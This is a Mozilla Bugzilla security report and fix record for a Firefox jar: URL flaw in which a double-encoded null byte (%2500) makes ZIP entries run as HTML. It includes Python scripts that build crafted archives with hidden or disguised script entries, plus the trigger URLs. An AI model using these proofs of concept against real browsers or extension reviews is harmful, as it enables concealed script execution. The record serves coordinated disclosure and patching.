Closed Bug 2008426 (CVE-2026-2790) Opened 5 months ago Closed 4 months ago

double encoded Null (%2500) in jar: url can still be used to make us misinterpret a file's MIME type

Categories

(Core :: Networking: JAR, defect, P2)

Product:
Core
Component:
Networking: JAR
Type:
defect
Points:
2

Tracking

()

Status:
VERIFIED FIXED
Milestone:
149 Branch
Tracking Flags:
Tracking Status
firefox-esr115 --- wontfix
firefox-esr140 148+ verified
firefox147 --- wontfix
firefox148 + verified
firefox149 + verified

People

(Reporter: sdev81300, Assigned: valentin, NeedInfo)

References

(
URL
)

Details

(Keywords: csectype-sop, reporter-external, sec-low, Whiteboard: [client-bounty-form][necko-triaged][necko-priority-queue][adv-main148+] [adv-esr140.8+])

Attachments

(8 files)

test.zip
193 bytes, application/x-zip-compressed
Details
XSS via double encoded Null character.png
41.60 KB, image/png
Details
null byte.png
37.96 KB, image/png
Details
test3.zip
127 bytes, application/x-zip-compressed
Details
test4.zip
165 bytes, application/x-zip-compressed
Details
(secure)
48 bytes, text/x-phabricator-request
Details | Review
(secure)
48 bytes, text/x-phabricator-request
phab-bot
: approval-mozilla-beta+
Details | Review
(secure)
48 bytes, text/x-phabricator-request
phab-bot
: approval-mozilla-esr140+
Details | Review
Attached file test.zip —

Summary

A bypass of the fix for Bug 1940027 (CVE-2025-1936) exists in Firefox’s handling of
jar: URLs due to inconsistent percent-decoding and filename normalization of
archive entries. By crafting a ZIP/JAR file containing an entry with a literal
percent-encoded null byte sequence (%00) in the filename and accessing it via
a double-encoded jar: URL, an attacker can cause Firefox to execute attacker-
controlled HTML/JavaScript content while the filename appears benign in the UI.

Steps to Reproduce

  1. Create a ZIP/JAR archive containing a file whose name includes a literal
    percent-encoded null byte sequence (%00) and whose contents are valid HTML.

    Example Python script:

    import zipfile

with zipfile.ZipFile("test.zip", "w") as z:
    z.writestr("test.png%00", """
    <html>
      <body>
        <script>alert(1)</script>
      </body>
    </html>
    """)

2 . Open Firefox and navigate to the archive using the jar: protocol:

jar:file:///C:/Users/<user>/Desktop/test.zip!/

3 . Observe that Firefox lists the archive contents and displays the entry
test.png%00 as test.png in the UI.

4 . Now navigate to

jar:file:///C:/Users/<user>/Desktop/test.zip!/test.png%2500

5 . observe that the javascript code inside test.png (rendered in UI) file is executed.

Impact

This issue allows script execution due to inconsistent percent-decoding and
filename normalization when resolving jar: URLs. Firefox displays a normalized
filename in the archive listing while resolving the raw, decoded filename during
resource fetching, allowing crafted archive entries to bypass expected content
handling.

The most realistic abuse scenario is similar to Bug 1940027 (CVE-2025-1936):
a malicious extension could package a crafted JAR/ZIP resource containing a
misleading filename that appears benign during review, but results in script
execution at runtime.

Flags: sec-bounty?
Attached image null byte.png —

we can also assign the file name inside zip as only %00 and Firefox doesn't render any text , so only the icon is visible nothing else. when clicking over it goes

jar:file:///C:/Users/<user>/Desktop/test.zip!/%00

but by modifying the url we can go to :

jar:file:///C:/Users/<user>/Desktop/test.zip!/%2500

to run our JS code.

https://bugzilla.mozilla.org/attachment.cgi?id=9535467

Attached file test3.zip —

Hidden empty file inside the zip , can execute the arbitrary JavaScript code.

Yet another lead/update to bug , if an attacker create a zip file using the following code :

import zipfile

with zipfile.ZipFile("test3.zip", "w") as z:
    z.writestr("''", """<script>alert(2)</script>""")

print("Created test3.zip")

the archive will be created, and can be accesed like so : jar:file:///C:/Users/SuryaDevSinghRawal/Desktop/test3.zip!/ , but Firefox browser wont list any of files inside the zip file. while there is a hidden file inside the zip containing the malicious javascript code in disguise . we can execute it by navigating to following URL :

jar:file:///C:/Users/SuryaDevSinghRawal/Desktop/test3.zip!/''

for reference :

https://bugzilla.mozilla.org/attachment.cgi?id=9535489

Attached file test4.zip —

Consider this scenario to identify impact :

import zipfile

with zipfile.ZipFile("test4.zip", "w") as z:
    z.writestr("%00a/Thisishiddenfile", """<script>alert(2)</script>""")

print("Created test4.zip")

Here we can create again a hidden file , which remains hidden inside the surface directory (in this case /a) , even by clicking on it , one can not get the hidden file unless access using specifically double encoded URL :

jar:file:///C:/Users/SuryaDevSinghRawal/Desktop/test4.zip!/%2500a/Thisishiddenfile

This ability allow an attacker to hide the file inside the archive , thus gives the ability to execute arbitary javascript code by follow specific URL (double encoded of null character)

Group: firefox-core-security → network-core-security
Component: Security → Networking: JAR
Product: Firefox → Core

All of the points in bug 1940027 comment 13 continue to apply here, I think. If we assume the user will just put whatever you ask them to in the address bar, you could just create a normal html file and get them to open that (easier, too).

Summary: XSS via Unsanitized filename in JAR:URL using double encoded Null (%2500) → double encoded Null (%2500) in jar: url can still be used to make us misinterpret a file's MIME type
See Also: → CVE-2025-1936

(In reply to :Gijs (he/him) from comment #7)

All of the points in bug 1940027 comment 13 continue to apply here, I think. If we assume the user will just put whatever you ask them to in the address bar, you could just create a normal html file and get them to open that (easier, too).

Agree !! One can also weaponized this, by completely hiding the file containing the code and execute by visiting the double encoded URL . See : Comment 6

Assignee: nobody → valentin.gosu
Severity: -- → S3
Points: --- → 2
Rank: 3
Priority: -- → P2
Whiteboard: [client-bounty-form] → [client-bounty-form][necko-triaged][necko-priority-next]
Attached file (secure) —

When the content type is determined to be UNKNOWN_CONTENT_TYPE
and the content is coming from a JAR file we shouldn't attempt
to do content sniffing. JAR files should always have the correct
file extension.

I guess I'll give this the same rating as bug 1940027.

Keywords: csectype-sop, sec-low

Hello Team,
I would like to request a CVE ID for this.

You don't need to request one. One will be assigned once it is fixed, in time for the release that first contains the fix.

Whiteboard: [client-bounty-form][necko-triaged][necko-priority-next] → [client-bounty-form][necko-triaged][necko-priority-queue]

https://hg.mozilla.org/mozilla-central/rev/8c9ac97a1cc6

Group: network-core-security → core-security-release
Status: UNCONFIRMED → RESOLVED
Closed: 4 months ago
status-firefox149: --- → fixed
Resolution: --- → FIXED
Target Milestone: --- → 149 Branch

:valentin, please add uplift requests when you have a moment. It grafts cleanly for ESR140 and Beta.

status-firefox147: --- → wontfix
status-firefox148: --- → affected
status-firefox-esr115: --- → wontfix
status-firefox-esr140: --- → affected
tracking-firefox148: --- → +
tracking-firefox149: --- → +
tracking-firefox-esr140: --- → 148+
Flags: needinfo?(valentin.gosu)

firefox-beta Uplift Approval Request

  • User impact if declined: This patch disables sniffing for JAR resources. That means resources loaded from a JAR file now need to have the correct extension.
  • Code covered by automated testing: yes
  • Fix verified in Nightly: yes
  • Needs manual QE test: yes
  • Steps to reproduce for manual QE testing: Check that the test cases in comment 0, comment 5 and comment 6 no longer execute as JS.
  • Risk associated with taking this patch: low
  • Explanation of risk level: There's a chance of extensions that might have included resources without a file extension stop working, as those resources are no longer sniffed.
  • String changes made/needed: None
  • Is Android affected?: yes
Attachment #9539069 - Flags: approval-mozilla-beta?
Flags: qe-verify+
Attached file (secure) —

When the content type is determined to be UNKNOWN_CONTENT_TYPE
and the content is coming from a JAR file we shouldn't attempt
to do content sniffing. JAR files should always have the correct
file extension.

Original Revision: https://phabricator.services.mozilla.com/D278098

firefox-esr140 Uplift Approval Request

  • User impact if declined: This patch disables sniffing for JAR resources. That means resources loaded from a JAR file now need to have the correct extension.
  • Code covered by automated testing: yes
  • Fix verified in Nightly: yes
  • Needs manual QE test: yes
  • Steps to reproduce for manual QE testing: Check that the test cases in comment 0, comment 5 and comment 6 no longer execute as JS.
  • Risk associated with taking this patch: low
  • Explanation of risk level: There's a chance of extensions that might have included resources without a file extension stop working, as those resources are no longer sniffed.
  • String changes made/needed: None
  • Is Android affected?: yes
Attachment #9539070 - Flags: approval-mozilla-esr140?
Attached file (secure) —

When the content type is determined to be UNKNOWN_CONTENT_TYPE
and the content is coming from a JAR file we shouldn't attempt
to do content sniffing. JAR files should always have the correct
file extension.

Original Revision: https://phabricator.services.mozilla.com/D278098

Flags: needinfo?(valentin.gosu)
Attachment #9539069 - Flags: approval-mozilla-beta? → approval-mozilla-beta+
Flags: sec-bounty? → sec-bounty+
QA Whiteboard: [sec] [uplift] [qa-ver-needed-c149/b148]
Attachment #9539070 - Flags: approval-mozilla-esr140? → approval-mozilla-esr140+

I reproduced the issue with STR from comment 0 on an affected Nightly build 148.0a1 (2026-01-03) with Win 11.

The issue is verified as fixed on the latest builds: Nightly 149.0a1, Esr 140.8.0 and Beta 148.0b6. Tested with Win 11.

Status: RESOLVED → VERIFIED
QA Whiteboard: [sec] [uplift] [qa-ver-needed-c149/b148] → [sec] [uplift] [qa-ver-done-c149/b148]
status-firefox148: fixed → verified
status-firefox149: fixed → verified
status-firefox-esr140: fixed → verified
Flags: qe-verify+

Hello Team,

I have not yet received any communication regarding the bounty or the CVE ID for the reported issue. Could you please let me know when I can expect an update on this?

Looking forward to your response.

Regards,
Surya Dev Singh

Flags: needinfo?(kershaw)
Flags: needinfo?(kershaw) → needinfo?(dveditz)
Whiteboard: [client-bounty-form][necko-triaged][necko-priority-queue] → [client-bounty-form][necko-triaged][necko-priority-queue][adv-main148+]
Whiteboard: [client-bounty-form][necko-triaged][necko-priority-queue][adv-main148+] → [client-bounty-form][necko-triaged][necko-priority-queue][adv-main148+] [adv-esr140.8+]
Alias: CVE-2026-2790
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: